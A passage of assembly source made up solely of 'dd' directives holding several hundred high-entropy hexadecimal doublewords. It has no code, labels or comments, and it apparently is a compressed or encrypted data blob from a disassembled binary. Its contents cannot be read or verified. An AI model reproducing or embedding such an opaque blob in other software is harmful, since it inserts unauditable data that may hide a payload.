		dd 0C2827930h, 42687104h, 19C0DE67h, 2B64EAB0h,	0C2219A29h
		dd 6D8DC174h, 6488D3BCh, 44F802EBh, 8FFE350Ah, 0F0564541h
		dd 0B3076501h, 0FD248C5Eh, 1916A87Ah, 1A44E437h, 0E300448Bh
		dd 23340CC7h, 5CA39D06h, 0A742DE99h, 91489CB0h,	0C6E100A0h
		dd 67112D1Eh, 1802A4A4h, 0D4A1308Fh, 0E0F45649h, 0A3385FFAh
		dd 60751774h, 1CEE4305h, 40B38603h, 24F41D26h, 8A051B0h
		dd 2D59041Ah, 0B56AC07Eh, 89E82878h, 96C6011h, 6D3307F3h
		dd 9398D526h, 47951446h, 0DD8A14h, 556B480Ch, 16FFCB03h
		dd 0F5670EAFh, 11192C02h, 58E5BCh, 0D71B617Dh, 6039FD2Ch
		dd 851EF9AEh, 5D82654Dh, 70B62011h, 2C1997E4h, 7A84C16h
		dd 27814A84h, 9D9EC40Ch, 0FC0C44BCh, 8878520h, 98ADC428h
		dd 80852C18h, 75D84058h, 0DB03B905h, 0A26F02BDh, 4406B225h
		dd 29C76F78h, 6C7F60C0h, 23007EF0h, 571B8B99h, 3DCB6431h
		dd 0BF2ABEEDh, 841EF8C8h, 0C9582CEBh, 743CA690h, 0EC9622C1h
		dd 69C83537h, 69BD7500h, 7BC6A043h, 77C100C9h, 202EBB19h
		dd 60B9797Fh, 2CACE280h, 2BCD797h, 0ADE68A4Fh, 0E0E1BAF2h
		dd 2CE33173h, 539E8990h, 0B13A80E4h, 0AA624EA0h, 0B0D3Ah
		dd 5FAD2F9Dh, 9EF7D6C6h, 0B0594770h, 8F96BF25h,	0CE4200BEh
		dd 80207427h, 651C8360h, 0BA03F8AAh, 0F45A1BE7h, 0C30804EAh
		dd 0F42AADE9h, 80095B4h, 7DD811B8h, 6518C296h, 30E2A936h
		dd 0B527BEB8h, 2F1D500h, 19B249F0h, 0F3E200FBh,	77F5EFE1h
		dd 80998092h, 403D8702h, 0E331C19Eh, 7D6E7E0h, 0A422FBEBh
		dd 0DF8EC005h, 0E49180BAh, 68281A00h, 32E46C4h,	0B3119C89h
		dd 902480C1h, 1F64A874h, 0D0BC9D20h, 0E415133Eh, 98D44DE0h
		dd 850050A3h, 0D1E2BDC9h
		dd 0BB03FA4Fh, 795918A0h, 1D582F7Ch, 0E5F0018h,	30CC2D41h
		dd 7F10067h, 21E3A204h,	50008419h, 2FF97B1Bh, 951F129Ch
		dd 9084F829h, 2096221Ah, 6B329DBCh, 8BD4901Fh, 0A2658D09h
		dd 0E0985A00h, 67250A28h, 5FD83918h, 40728340h,	350115B2h
		dd 1BBD5489h, 8C2D29B3h, 6A1FDF01h, 418D38D3h, 0FAF522ECh
		dd 17D6C048h, 80BB8312h, 9CA08CD4h, 0C3098493h,	1AD90CFh
		dd 1C1BD57Ch, 4CD8286Ah, 0A9D19800h, 0E61CD37Ah, 0CA32093Bh
		dd 0E84880AEh, 2202B7CBh, 593D64E4h, 1160D5B3h,	2C0FD9C1h
		dd 72AFFF80h, 41713B18h, 0BD7B0067h, 5BEC8E8Fh,	0CA2F3128h
		dd 0D6409094h, 0C1380061h, 85A83B72h, 0DC000F5Fh, 1A2F5AE8h
		dd 0E1DEB77h, 4DAC1EA0h, 2A3EB960h, 0AE00E79Ch,	0B5D06859h
		dd 91A085FAh, 0CF4480ACh, 0BA1A84FEh, 0F1751DF0h, 294F407Eh
		dd 2F469C40h, 57B663Fh,	0F91E9538h, 3A80090h, 30B62D83h
		dd 161A190Bh, 97CE4ECh,	4F932B0Dh, 20009859h, 37D3F38Ch
		dd 88120073h, 0ADC90581h, 0A0C091B0h, 67048C11h, 4050600Fh
		dd 0B8659072h, 9B85F214h, 7F0E0058h, 0AAADE884h, 56175A9Dh
		dd 8010B2C0h, 11A203D8h, 5BB80372h, 7FFD1916h, 0FE20BCF0h
		dd 60B44D2Dh, 7F9DAFF4h, 3E41C080h, 0A5EF34DAh,	18F17600h
		dd 0BD04B65Eh, 48814C8Bh, 1B2E9322h, 0EC600834h, 0BE06C28Ah
		dd 321344A4h, 0CD1D1005h, 10201898h, 6C8A4C8Ch,	18AF2525h
		dd 9AAF6B60h, 7AE0C68Eh, 6E1F2900h, 0C0C4D599h,	0C2BD091Dh
		dd 0CC02BA5Fh, 32260C9h, 6089291Eh, 2810D833h, 990763B9h
		dd 51194635h, 0C59A73F7h, 3C6925h, 9B15B347h, 3A53E4F4h
		dd 8100EB55h, 0D2AD188Ch, 0AE480B03h, 27D3C0ACh, 0EC44FD7h
		dd 4E5AB36Bh, 0DC67B880h, 69590C12h, 23F1087Ch,	0A981801Ch
		dd 559ACA06h, 0DA352E09h, 0C0C44Dh, 0B1AA8F1Ah,	33E0569Bh
		dd 7A9A6907h, 3930C1F8h, 0C3A9F9h, 8EBDBB8Dh, 90AA9DC7h
		dd 10970725h, 6F5574h, 7AB074CFh, 0EE600F06h, 0F5D29D12h
		dd 1757AE1Dh, 0E282498h, 0E67570FCh, 0D2D0D427h, 745692B5h
		dd 96A2990Eh, 0BE06837h, 7E0F17h, 9B61D23Dh, 76A865Ch
		dd 96FF4C00h, 6F8281B6h, 63FB2671h, 4F1091C0h, 609088h
		dd 4BBFB31h, 5ED41DE7h,	13C54D00h, 0A5D83EA6h, 0F5FF28E1h
		dd 80D891A0h, 0E2E60405h, 85051920h, 1196F6F8h,	0F91EFC32h
		dd 9D213B0h, 186880F0h,	0B50D0CCBh, 0F602A8D3h,	22867820h
		dd 1EB324Eh, 0C2149608h, 97209B08h, 1817D3E8h, 30312F2Ah
		dd 31B58D12h, 842C8194h, 0E46C0DC3h, 7D9FCC02h,	0E4805E42h
		dd 0DA75BCh, 0A377EDF3h, 5F640454h, 0D1C92900h,	25AEE0AFh
		dd 0D0951432h, 94706CCFh, 411B7008h, 7B14B0B4h,	13102F10h
		dd 0A4A28498h, 267416C7h, 0F144389Fh, 530D3EE2h, 0F907AF3Ah
		dd 0E0AB90ADh, 0C30B9E8Fh, 11129805h, 88EC9D15h, 5F602B82h
		dd 1140B056h, 0C2A998h,	0F412137Ch, 0DAD8A320h,	0DCB32801h
		dd 3AE8DF65h, 8E0B0023h, 0B17E95E3h, 0A46E7E00h, 3ED9D29h
		dd 4FEF2B1Bh, 74F8F9EBh, 0E04C8C12h, 0CDC8C0F8h, 0BE9D2Ch
		dd 2913B388h, 0FD8441BCh, 0D25CF0Ch, 0F6E7E88Bh, 0D59C2844h
		dd 0DADD0DCCh, 2E7898DEh, 0D1154C30h, 0D0B40114h, 25898352h
		dd 413EF343h, 0F2316035h, 1E5AB7BCh, 0C065A2CEh, 4B8C511h
		dd 56F6BD6Ch, 8514C148h, 44AC9986h, 0EE801189h,	0E8428C1Eh
		dd 0C83A3527h, 5C9A854h, 484EE044h, 8008ECA5h, 766845E2h
		dd 0F5375B0h, 0B2AE8844h, 0AD680356h, 2901EA29h, 27DEF6A7h
		dd 3ACC548Fh, 0B9B704Bh, 11B9257Eh, 0A25EC004h,	372B1E88h
		dd 0CC40E89Fh, 9FBA5AEBh, 0C581718h, 0D33830BDh, 0C906340h
		dd 8F038705h, 50A1FAB0h, 300050C2h, 0B1819117h,	9D0045C9h
		dd 4FB85503h, 5F9B1139h, 0D0C8209Ch, 0BD658A7Ah, 14CB1538h
		dd 93487D01h, 8036CB97h, 1AFF8E81h, 488B727Ch, 884AF022h
		dd 0CE1C942Ch, 0F800A16Ch, 0F0314524h, 0CBB0017Dh, 0E4E86621h
		dd 875C70B2h, 30C89F4Ah, 9942864Bh, 0E5B4205Eh,	0E03B54Fh
		dd 1B4113BCh, 96C3812Ch, 0CD803438h, 40E23FE6h,	3E1D75F6h
		dd 1700DE1Ah, 5E53FA28h, 42E509C5h, 0C4599F50h,	47487380h
		dd 2AB92Ch, 0F6347BEDh,	676D189Eh, 9516E890h, 2008E880h
		dd 41B8809Ch, 5657AC20h, 0C3F8ED00h, 1AABA8E7h,	0F9300779h
		dd 0CBFE9651h, 998DE100h, 199512BCh, 140C198Ch,	61294A84h
		dd 7C201D0h, 0C83181B7h, 846466B9h, 44B526F3h, 151A86ACh
		dd 9700392Ah, 0CD2F3607h, 4FAC25h, 4EA3E7B7h, 5FA8EC17h
		dd 0B8CF3E00h, 67E894F6h, 80254C73h, 7C8C2380h,	8E01502Dh
		dd 0C31289CBh, 0FED29A02h, 0BA004B08h, 84118DDAh, 349454E2h
		dd 80F53747h, 627FD420h, 42A201EDh, 291E503Ah, 0C224CCBAh
		dd 4B8C1A4Ch, 25991470h, 198BE94Dh, 0E4CEC198h,	0CEE86500h
		dd 6D88C2AFh, 2F7D2CA3h, 70E20200h, 0C4C211DEh,	0D6C01C5Ch
		dd 0FDDA97h, 0DF036F52h, 6EE4DB26h, 76BFAE00h, 0F2AD8F5Bh
		dd 9CF49C23h, 1E848059h, 0C6C3CF37h, 0E0E1A000h, 57672AB8h
		dd 5B087EBAh, 1664E82Eh, 747059F8h, 94D98303h, 2CC42524h
		dd 6400DF76h, 4143D1EDh, 0A0AE7F75h, 54EFF5DFh,	1A6FE463h
		dd 0C1CE17DEh, 8E96861h, 9894BD42h, 7E068907h, 0D1C3D9E0h
		dd 2ABEA8A3h, 0DBDD0EF0h, 0B8FC023h, 8B371CF2h,	0DC739D49h
		dd 0BC132413h, 1F006CECh, 690675A3h, 5F003F64h,	0CFC558D1h
		dd 50DF169Fh, 84229003h, 392D0F0Fh, 0BEB903FFh,	5403D840h
		dd 0AB102D47h, 6B0F5C64h, 941734h, 0A1D19E2h, 0AA8126B7h
		dd 93B200C9h, 0EAA21210h, 7BB3BB01h, 0DC0585F8h, 0AF80F422h
		dd 4286DCEh, 1DF27201h,	949D23EBh, 0D280B842h, 0B51C0FCCh
		dd 4501792Ah, 0C1AEB685h, 332BD124h, 15B700D0h,	4871B5D6h
		dd 743A0349h, 0C822CF46h, 0A8C15BA2h, 6CFC1532h, 0FDC43D80h
		dd 23009FD4h, 0E59040Ch, 4D60D6Bh, 807494CFh, 0F62F4FCBh
		dd 588AEF0h, 0BE5E15E8h, 8738C114h, 0B347392h, 289D630h
		dd 0E6E8F454h, 0B4B900CCh, 9AF0B59Fh, 32009E9Bh, 8D3FDD8Ch
		dd 63D458h, 0EE7DB6Bh, 0D0070C71h, 96EA3E3Bh, 0A4A3F890h
		dd 68236F00h, 5494E9A6h, 0CF082400h, 67E5B739h,	8F8404C6h
		dd 0A2291BC2h, 94285FB0h, 0B4FE1C60h, 0A995C010h, 0B89CCBA1h
		dd 90248B2Fh, 19290D68h, 0E0875512h, 5C86089Ah,	8C0A4F1h
		dd 0A1ADF44Dh, 6C9B9301h, 0BAF201CDh, 32FD331h,	0BBE32184h
		dd 6864D0C2h, 3280F099h, 0A9E8F30Ah, 1C4012E4h,	48D722h
		dd 0CF9F89D3h, 51AD7603h, 0A033B2F6h, 0BF988ED0h, 49840CA4h
		dd 6EDC4824h, 0CD7B24CAh, 609C0039h, 0DC669DB7h, 0E8CC124Bh
		dd 1220908Bh, 0C81106E7h, 530A0140h, 504D1BE8h,	719C8609h
		dd 880192E4h, 50098970h, 0E1FB381Bh, 0B47C1118h, 0ADAC0193h
		dd 0D6078457h, 8C019C6Ch, 0A3F48518h, 0C064BB35h, 97E14416h
		dd 0C00C8B5Ch, 0ACCA28C9h, 9EC00054h, 16B120C1h, 2257F83Fh
		dd 5BA610D4h, 122511h, 6FB4DFC6h, 10FD44h, 0B6983266h
		dd 0C06B0C5Fh, 0A0A1390Fh, 0DE7C03Eh, 632681h, 0C6BF0212h
		dd 41BAC4AEh, 0F86E1C13h, 85FB5C04h, 0F86708Ch,	0EAFCF2A9h
		dd 81E7BC62h, 480CAC42h, 9B4434D0h, 0ADF000ACh,	0ED48C193h
		dd 0E7249F75h, 0C640FC36h, 4FBF122Dh, 68BF804Ah, 231EC287h
		dd 0AD93CAFEh, 25BC08D8h, 3410F54Fh, 2D0096A5h,	219A0C64h
		dd 16903Dh, 970EE093h
		dd 0A01D82BCh, 9D8FAA16h, 48EC8CC8h, 881E5A86h,	0D143409Ah
		dd 907BA29Bh, 8E6C5E0Fh, 92B5A376h, 0A0D03F77h,	9A84825Ah
		dd 94CFB82Ch, 0F7A082FCh, 0F8C0AD57h, 0F309A38Bh, 79A6E8BBh
		dd 5C1A0028h, 4ED5DB2Ch, 0A14F9D03h, 0E9904363h, 84C0B15Eh
		dd 50049E92h, 7C00FFEAh, 480F3EBDh, 0F7D2716h, 0A9B42DB2h
		dd 9DC80BB6h, 800FF8D3h, 85F180FDh, 0C290CAh, 0F2B87437h
		dd 466E651Bh, 0CB62279h, 0E78BE802h, 57C8E4D2h,	77004084h
		dd 0B9520BE2h, 960353DCh, 4B0F5ED5h, 0AC17F597h, 4CB8E098h
		dd 0DE80C029h, 10D3462h, 70774300h, 0ECABFFD0h,	8C5D0478h
		dd 401C02C2h, 2B11BCE2h, 8B7C2Ch, 5B85ACFh, 2E9A8FF5h
		dd 75142250h, 0F64D8A00h, 6A4EA8AFh, 0F30927C5h, 2A825461h
		dd 0D638C420h, 0E57700A6h, 60BAD93Bh, 6EB8151Bh, 291C2D09h
		dd 20644EE7h, 345B8396h, 4B938040h, 1695A02h, 4D6BA197h
		dd 0E8015E26h, 367F54DEh, 0AEE7500Eh, 3EB7800Ch, 5080BBF8h
		dd 8A2CDDh, 0E1EE330Fh,	0F85AE009h, 4505A100h, 661DB127h
		dd 128517A5h, 0D88A1Fh,	9BBFEF14h, 0F4BB2266h, 0C72507F7h
		dd 0C7130CCEh, 0AECA3153h, 9BA2059h, 12BD0509h,	18389098h
		dd 3036008Ah, 0ADE842EEh, 349E3A2Ah, 18D4800Bh,	1F6A54B4h
		dd 0C1EFFFC3h, 0F7CF5F44h, 30EDFD95h, 0E4FDAD68h, 5A1EA689h
		dd 0FD09E994h, 1CA0C684h, 4C1A0EDEh, 9250C01Ch,	249F8727h
		dd 48CAE30h, 90330054h,	88640F2Ah, 6A7D7830h, 0C47B7D28h
		dd 1C04474Bh, 0CCA2BD9Dh, 90295400h, 52C785EFh,	1E629702h
		dd 74671107h, 601D4464h, 0BE9B8789h, 29574748h,	49928C24h
		dd 80889224h, 7A6B7E74h, 0EDA3001Dh, 607FC341h,	0AC0181B1h
		dd 0FAB9FF8Bh, 4EE0D4C5h, 10111439h, 182E3CBBh,	0E06C25C8h
		dd 41347701h, 0BE1594D3h, 0D1E405D9h, 9DBC2E1Dh, 0F1890EE6h
		dd 76DBC2C1h, 87743CACh, 5910D1B0h, 91B36F6h, 0ACF1B447h
		dd 914B9C82h, 4DC6B120h, 8BF000Ch, 0E85131BBh, 1F4AC2A3h
		dd 9215A821h, 12ABA010h, 12CC0C2Fh, 44E85E58h, 127C9C35h
		dd 14448441h, 0BFFCA4h,	48E1DAF0h, 73ABC5A2h, 4488964Ah
		dd 4BF8BBh, 0BFFB1C53h,	5F8626E3h, 0D7956105h, 20ECB09Ch
		dd 0B3E05280h, 0A4B0D2BDh, 16EA4F21h, 80A4E292h, 0E43B164Bh
		dd 957D1FF1h, 0B4251401h, 0FB320E80h, 0C30EA55Fh, 1DA31543h
		dd 0C770B9C0h, 16AA881h, 16764EA4h, 4823FA80h, 1201158Ch
		dd 45B96990h, 5C738414h, 23FB810Fh, 5A4400F1h, 74558077h
		dd 0F25E006Ah, 53B6E64Ah, 0EC3D935Dh, 91D982C8h, 798B3590h
		dd 17C60FACh, 9F99C8BDh, 8E7D0E89h, 84512030h, 0C8981B83h
		dd 0BB80C6E9h, 0A1A8B924h, 79EB010Ah, 4C2AF43h,	1A90E816h
		dd 7FAA380Bh, 0D8C4DEh,	22D00897h, 301D1EDh, 9A07E096h
		dd 0ABC507BCh, 0CB00C0B2h, 5330D915h, 0BF764614h, 0A07CD81Ch
		dd 0A5EB007Bh, 0AF0CC4D1h, 0E9F8ECEDh, 98BC206Fh, 0C0025397h
		dd 0CC6A921Bh, 0F164E2FAh, 4FF00004h, 48F26DE4h, 0A3EB3800h
		dd 0A6B66B1Bh, 9D0D7825h, 0A047FC90h, 0F2342402h, 64DF140Bh
		dd 97154E14h, 80C8F99Ch, 0B2075BE5h, 0FCB5F0E7h, 0C3342801h
		dd 0DE5E4980h, 0C1AF14FAh, 1E08EC3Dh, 0EF89FE51h, 0A47978h
		dd 6AC49B5Bh, 68B0BEA0h, 3C11F604h, 81EBAD76h, 30DE7319h
		dd 93421F90h, 51351402h, 500058CBh, 49074D7h, 0DE763811h
		dd 0BC549416h, 2663C04Ch, 0D539FDh, 0EFD05F4Fh,	7FAD20C5h
		dd 9CB81300h, 34308687h, 0B1849888h, 479EBCh, 26D2B084h
		dd 6700B96Dh, 3E070B6Eh, 0CAC78Dh, 0A6D789FAh, 879F09A0h
		dd 88883CE9h, 21086411h, 0EA5636h, 27673F1h, 0E1592D0Eh
		dd 0FCADEF0Dh, 5222FF89h, 48250074h, 826E56EFh,	550BD27Dh
		dd 51944642h, 0A3AC001Ch, 2AD837B7h, 2638F61Eh,	467B4500h
		dd 90A3F7Eh, 0FC1E536Fh, 38D1330Bh, 121A8900h, 4E126A1h
		dd 0DE8B5E4Eh, 2394A242h, 12C3049Ah, 0F8809466h, 1319C5B0h
		dd 0E1BB6D80h, 9A40004Ah, 7F0DF218h, 57171BC8h,	0DC8C8799h
		dd 70820046h, 0A36F1128h, 370435ABh, 0D4BBE46Eh, 900ACB2h
		dd 0C10471D3h, 2A000D3Eh, 6D5978FFh, 77D19591h,	7A030A7Fh
		dd 5850DEh, 52200797h, 1C1A761Dh, 59CC19F2h, 0A20A009Ch
		dd 0B12B4DAh, 0D9906704h, 47C0731Eh, 13171B22h,	899CD37h
		dd 0B2801628h, 858A7AA7h, 20E800BAh, 154D96E1h,	0C025E1Dh
		dd 881D1F1h, 144422h, 0F09690A5h, 788485F8h, 71F4D4Ch
		dd 1F3EA22Fh, 632521BFh, 0B423EECCh, 369412h, 2A522CA9h
		dd 51348C07h, 0BC00518Fh, 0C5E028ECh, 0E73E023Fh, 0B80817D3h
		dd 347AF4E2h, 77B4334Dh, 39E30734h, 0DC8000ACh,	0AB654D4Ch
		dd 41FC2600h, 0E9B260C1h, 116E1EC0h, 0E182003Fh, 96F4A467h
		dd 1B6280BCh, 5512112Fh, 0C43CB8CCh, 0AA80E19Fh, 0F142ADh
		dd 0C55EB56Ch, 9A7BED25h, 0C482F325h, 58420314h, 591CF295h
		dd 15DE66D8h, 0E8861E2Ch, 0CEF367E0h, 0D11A39A8h, 52790500h
		dd 0F0456F80h, 67A2C809h, 0A8B0B4Fh, 0B8584420h, 0BC6C0199h
		dd 1DF9473Bh, 0AB7AC06Ah, 6025DD05h, 0C217DFh, 0E05CD4BCh
		dd 774A817Ch, 3ABD900h,	45C5001h, 0B34F00F7h, 0B44153D8h
		dd 2978907Bh, 0FA547F38h, 0ED95EA07h, 3E40E9E6h, 0A7025Eh
		dd 4C6BF5A3h, 0A4F67F67h, 51B43701h, 0EA4E3D1Eh, 622BAF8h
		dd 4ABF3FB2h, 10F838F8h, 0B5511904h, 0FD8002AFh, 305EA803h
		dd 5821F14Ch, 0B3B0E0EBh, 0C17BBF00h, 0B3DE53D7h, 0C02E7FCAh
		dd 0E165B589h, 0D90001FEh, 6233AE9Dh, 60FB9230h, 0B20DC071h
		dd 51601C7Fh, 41964F31h, 0F4D379FCh, 0C2D118C6h, 0FFE570FAh
		dd 86B1CE6Fh, 0F83050CBh, 16C901AEh, 19BA4BF9h,	0F816FF9Bh
		dd 0D91DB45Eh, 1175DDC6h, 63F50761h, 0A0E8C9B3h, 7930B7D4h
		dd 8F329C8h, 340D5270h,	3EC09149h, 0AD9201C5h, 0A33DFC6Ch
		dd 0F915FCE8h, 41704961h, 0D400EA51h, 0E9006352h, 0C152143h
		dd 7CA2DC29h, 51F34C77h, 53A06062h, 90EB3002h, 0BB7D0h
		dd 11BDBBD8h, 5CFC1264h, 0D3403400h, 0DE742557h, 0CB8AB7Ah
		dd 0D8B472C0h, 6917DD80h, 5B11D1C8h, 3CC0E84h, 0C729C076h
		dd 3A5BD374h, 0F3013C25h, 434F4DA5h, 51488C9Bh,	0AA51B8h
		dd 0FFEBCA7Eh, 0AD532108h, 0FAC85828h, 90627705h, 84402334h
		dd 0F28A4298h, 0CAEF035Ah, 810BE3A7h, 51A86998h, 70799E30h
		dd 606C4E9Dh, 0C7CAB17Eh, 0D4A952D6h, 8F9C4B0h,	1500B47Ch
		dd 0E0FCD914h, 32E4D321h, 5DA8733Ch, 1967602h, 8A1C387Fh
		dd 98F9ED81h, 0C2899D80h, 0DC9C72h, 0C3EC8D23h,	0E2F62460h
		dd 7E649700h, 14D5A412h, 222090F5h, 322E9B7h, 4A3430C7h
		dd 6CFB959h, 271F7F00h,	84B820B4h, 2FE1056Ah, 46D875DEh
		dd 31CCC6D8h, 69523E06h, 22206CE1h, 0D8285468h,	25234E5h
		dd 0D38840D8h, 0F612F742h, 2CA40772h, 0AC7BD073h, 0F20048AEh
		dd 4B964CF5h, 0C0EBEAFFh, 0E2859149h, 0D101CCD4h, 0D3C81C36h
		dd 0CC5D75FCh, 1CC196F8h, 0C3C7EDh, 62A50172h, 0A91D15A1h
		dd 2424A438h, 693C9D0Eh, 0A1C0FD7h, 23118C52h, 0FCE5AE03h
		dd 1150E2EAh, 5B707E46h, 2F692201h, 0FD53831Fh,	4D9956C0h
		dd 4F08042Dh, 7F86F26Bh, 0A8915251h, 984430BCh,	12153C50h
		dd 4CFC4B8Fh, 0C198469h, 6A6908CFh, 0A94D8E7h, 3AAC141Ch
		dd 57613444h, 0D6293D59h, 0B34030h, 0AD7410E1h,	5BF591AFh
		dd 0A397DC00h, 55339E98h
		dd 0D4512AB3h, 5F0213F4h, 758EAC2Eh, 25D03C2Eh,	115CF814h
		dd 750E5446h, 26A1CAB8h, 0C05C44D4h, 0F57AD840h, 0EE8F24h
		dd 12F0523Fh, 0C8639CFEh, 2888B47Fh, 29CF60EDh,	0E6E74748h
		dd 22027BE0h, 207F5440h, 10E311F3h, 0FA033259h,	41761F1Ch
		dd 2DB24023h, 674A4EEh,	8050613Fh, 561A4F64h, 0FCA348CEh
		dd 0D9D21852h, 8B4CF058h, 409FD1CFh, 0E6839E2Fh, 76970F11h
		dd 0BA4BFAACh, 82887h, 0DA177C89h, 0DE5C3004h, 70913D7Bh
		dd 37102234h, 0A10042CBh, 9D315917h, 7A835Bh, 3DC4E83Bh
		dd 0FE3AF6B4h, 0FBE36404h, 0F208CE55h, 0AD7EEA40h, 0D9C101B4h
		dd 0D2C6FAB3h, 4BE98CFBh, 0F6E02985h, 251B0059h, 1821CE77h
		dd 76003363h, 2AC3EACBh, 3C7EBFCh, 0C11C03B9h, 6810E484h
		dd 0C09FF565h, 0DDDC39FEh, 512A0380h, 0ABFCF8CFh, 7D1FC205h
		dd 0F004BB18h, 4F02542Bh, 0FC908767h, 94B12338h, 0DC8BC040h
		dd 17521D3Fh, 0CD29C0BCh, 0DA4BD3FDh, 8EEE39C0h, 0A0FB5B98h
		dd 1F3F5744h, 0DBCC2E36h, 92E44966h, 5B20DEA8h,	0D03CE0B2h
		dd 0F2228489h, 8587A700h, 0B313BD81h, 0D3B41361h, 9D0800A9h
		dd 0E5C9EDCAh, 88DDAC26h, 0A82EA44h, 0D5E04BE2h, 80832808h
		dd 0E80866A3h, 0F403BAE3h, 39AE3370h, 7320B935h, 6C4FF188h
		dd 5F52D0B0h, 0D1502AE7h, 0D21F00A0h, 2CF42DDCh, 0CC03216Ah
		dd 0C679AECEh, 0E422E5D0h, 0BB74278Ch, 0F3832900h, 86E635B0h
		dd 0AA259100h, 8E4B7DFFh, 5ABF1A1Ah, 8C90B0E9h,	0E817F652h
		dd 6401403Bh, 0CC03DE57h, 4F34818Ch, 651E89A9h,	604008A0h
		dd 0D10F6A3h, 0EF8B01A2h, 4EC9B769h, 0C0AC324Dh, 0CF4C735Ch
		dd 0E418C597h, 906C00C7h, 6D1E05A6h, 0DBD4400h,	275B3FCAh
		dd 0AA190CD4h, 38795534h, 0F00A6D00h, 9E14774Fh, 0F6AD30ECh
		dd 4DBA3F68h, 3D295364h, 445084C8h, 0D3E0CA7Dh,	92E03B12h
		dd 81EA5808h, 0E6BF53C9h, 3226D17Eh, 0D4A68000h, 0C8C48Eh
		dd 0FC876929h, 61542760h, 0AD82A40Fh, 643777DCh, 60D8A4C8h
		dd 0ECB410E3h, 1386500h, 0CC1D36CFh, 0B21803B1h, 804BA192h
		dd 80C2893Bh, 0FA5D71E0h, 530A97h, 0D7CE629Ah, 9949D3F5h
		dd 3058C9E8h, 9EF40C14h, 5C51183Ah, 0C3323419h,	0A0644B71h
		dd 4D678A01h, 21349A80h, 3C3D7024h, 917CF20Dh, 8EE58634h
		dd 94892196h, 3C0222Eh,	52BC86E8h, 2693C8B3h, 9C2D0744h
		dd 60CCB689h, 69AD1203h, 1927C3Ch, 1FEC15D3h, 61D653DCh
		dd 3610C7F4h, 0AC00D626h, 0F1C3E8BEh, 5E0F37h, 61B73A2Ah
		dd 92D0FCBBh, 4AE0F561h, 38281ABAh, 0D80254C9h,	0D720FAC1h
		dd 0FDE568Fh, 3BC8F5F1h, 0B3E65301h, 0F01ED1E2h, 9C94D2FFh
		dd 3B0EEC40h, 2A8D32Fh,	16DC21B5h, 1C7EF8E0h, 5E694C64h
		dd 4E881880h, 0FCEC0B8Eh, 0E08221D3h, 0AC91DED6h, 63A310BAh
		dd 33FFAF1h, 61CC4657h,	0C7C8828Ch, 6B242122h, 0DD1120CFh
		dd 861C794Ch, 2CC08351h, 6D07F1Fh, 750621E4h, 0FCA61687h
		dd 5C54B059h, 0FEC564D2h, 4128C38Fh, 4844D3E2h,	8EE0465Ch
		dd 7BBE205Ch, 8B5FDBh, 4382B612h, 141BC9BCh, 197ECD12h
		dd 0B0849C24h, 9C002C8Dh, 9777C40h, 0AD9ACB5Ah,	9BB3CC03h
		dd 0D3AF2102h, 0E1463A14h, 4315DCF8h, 0BB0459A0h, 12866AB9h
		dd 0F7F49052h, 536707C6h, 100827E0h, 39C389E3h,	0B80C9DE4h
		dd 58D59EC9h, 9AD848C7h, 34C03C4Dh, 35FB632Ch, 0B5A6E900h
		dd 268EC0F0h, 4177418h,	2389281Ch, 0BE808046h, 0A1C4394Dh
		dd 5E40958Ch, 0D9EF993h, 4AD47604h, 4481F81Fh, 80043EBDh
		dd 30E125DCh, 0BCA9EB2Ah, 827C4B5Ch, 0C0126F91h, 213AB80h
		dd 0D2389845h, 0E4C09F10h, 0EA88FEDEh, 40EC4AA1h, 30847328h
		dd 3F032E72h, 0C757644Dh, 0DD61E09Dh, 0E5E90AF1h, 8090CB50h
		dd 0ECD5042Dh, 5201D185h, 0ABF3EE90h, 44E57AC0h, 26C168CCh
		dd 16C8A9E1h, 548280Dh,	0CBBFF900h, 62227367h, 38E4A0B2h
		dd 0FA5601BAh, 91ECFDB3h, 5DC8607Eh, 26767890h,	2868E801h
		dd 0C774C3E6h, 0C2B44CC8h, 50527F51h, 0F8E21044h, 0E44DE28Bh
		dd 6858BCh, 0F50FCF22h,	0CED8B473h, 78099F0Eh, 8C4C10ECh
		dd 0AEE075h, 9A856C8Eh,	5FFF9DAAh, 1A7F9805h, 480B09Bh
		dd 3A4FD475h, 0BB04689Ch, 0C08AEE08h, 0E7F3FDAAh, 0B48F4E06h
		dd 1E28F5C5h, 121EA6B1h, 86BE0BEFh, 15F23491h, 6CCCEC85h
		dd 293001CDh, 0CFC7C925h, 0E5998BCCh, 0C6D011FFh, 17317CF3h
		dd 59FDC56h, 4CE7652h, 8324C870h, 0E0E20930h, 0F4103C62h
		dd 8C772784h, 0C528B709h, 1C2C085Fh, 0C9F9BF00h, 284F9811h
		dd 10CE44Ah, 0B4ACBB36h, 2118F745h, 0FCB830CCh,	0B1D8C618h
		dd 0C595B89h, 88694D14h, 0B8B151D9h, 0B8B2B00h,	72F90ACh
		dd 0EEC05082h, 0ED83F093h, 0C412E435h, 68CCDDABh, 7F9B0F77h
		dd 0B9FAEB20h, 577D5040h, 8800B175h, 0DC522CCFh, 34DDD1BCh
		dd 6040A9AFh, 64D74380h, 0DC205900h, 0E98D07C7h, 56A90930h
		dd 0C2F1BE4h, 0E2D7D101h, 66B0609Bh, 0AFE09741h, 0B0E12CFCh
		dd 415760D8h, 8558824Bh, 0A8F91DFEh, 0DC400CEEh, 1828397Bh
		dd 0B8761720h, 0AC30FB19h, 515888A3h, 0B399C0C5h, 8B163482h
		dd 154D2C00h, 0F27843CFh, 5A19883h, 0BB72F765h,	0A45805C9h
		dd 0DEAC8CAAh, 0D969CE00h, 72200217h, 0CC3F47Ch, 242D0E5Eh
		dd 0A900D7A9h, 40A40C21h, 7724E68h, 6A01C4C2h, 0EB3491E8h
		dd 3FA850CEh, 0FB0039E6h, 0D2F5B761h, 5411E25h,	8F03F8D9h
		dd 837C9874h, 0E00008E0h, 9352AD24h, 33FC65h, 0D43746C1h
		dd 0BC01197Ah, 9803977Bh, 0EB6004B3h, 496900E1h, 4AA75E7Ah
		dd 0F3F22C21h, 730C6E02h, 0E41B7FBCh, 0B5461774h, 0E73808E1h
		dd 0EF15E580h, 0B2AFDAh, 0F13DF221h, 0C923CA61h, 84432D4Bh
		dd 88D31258h, 483854C6h, 0C9024183h, 44575CF5h,	0BF00C071h
		dd 59CE4E84h, 28581F9Fh, 0CDBB8068h, 0A4C8563Dh, 0E446CA13h
		dd 0A8141023h, 139D28C5h, 2351B2B0h, 0B0F7037Ch, 5C5A6E27h
		dd 0F16BF628h, 0D8DF5000h, 88CBBCB7h, 4EC1C04Bh, 24EA1CD4h
		dd 0A0084D4Bh, 8B54808Ch, 0B3167A82h, 0A6C55301h, 70C13733h
